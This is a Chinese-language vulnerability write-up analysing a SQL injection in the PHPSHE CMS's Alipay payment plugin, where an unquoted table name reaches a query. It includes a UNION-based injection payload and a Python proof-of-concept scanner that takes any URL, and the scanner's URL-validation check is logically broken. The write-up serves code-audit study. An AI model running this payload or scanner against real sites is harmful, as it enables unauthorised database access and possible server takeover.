此CMS SQL注入漏洞產生原因為未將經過 addslashes() 函數過濾的數據使用單引號包裹,從而導致的SQL注入漏洞。接下來看漏洞詳情:
首先查看phpshe下的common.php文件37~44行:
上述代碼可以看到,將獲取到的GET POST 數據加上前綴'_g',然后再看pe_stripslashes函數:
可以看到$_GET不為空的情況下,將字符串經過 stripslashes 函數去除反斜線。
然后在查看一下防止SQL注入的函數pe_dbhold:
可以看到此過濾是將字符串經過addslashes()函數過濾,然后要注入的話則有2種情況:
1、可控數據未經過單引號包裹
2、寬字節注入
然后查看此文件:include/plugin/payment/alipay/pay.php第34~35行:
此處可以看到,將可控數據進過pe_dbhold函數過濾后引入order_table函數:
此函數是查看 $id 中有無 '_' 有的話取第一個元素,否則返回 'order',此處可以看到次函數返回值可控,然后跟進 pe_select 函數:
此函數中 $table 變量可控,並且帶入SQL語句之中並無單引號包裹,從而產生SQL注入。
由於order_table()函數返回值為 order_{$id_arr[0]},所以需要在數據庫中找到數據庫名包含 'order_' 的表,發現有且只有一個表:pe_order_pay
於是構造payload:pay`+where+1=1+union+select+1,2,user(),4,5,6,7,8,9,10,11,12#_
此處放上漏洞POC:
import requests url = input("please input url:") pro1 = "http://" pro2 = "https://" if pro1 or pro2 in url: pass else: print("please input the correct URL") headers = { "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language":"n-US,en;q=0.5" } payload = url + "/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,1314520,4,5,6,7,8,9,10,11,12%23_" response = requests.get(payload,headers) creden = '1314520' if creden in response.text: print("you can hack!!!") print("payload is : " + payload) else: print("The website is secure")
該漏洞可用於初學代碼審計,具體利用則異常雞肋,由於過濾單引號,並且在payload中不能出現下划線,導致無法查出數據庫中的大部分數據,不過權限夠高的話,可以直接getshell。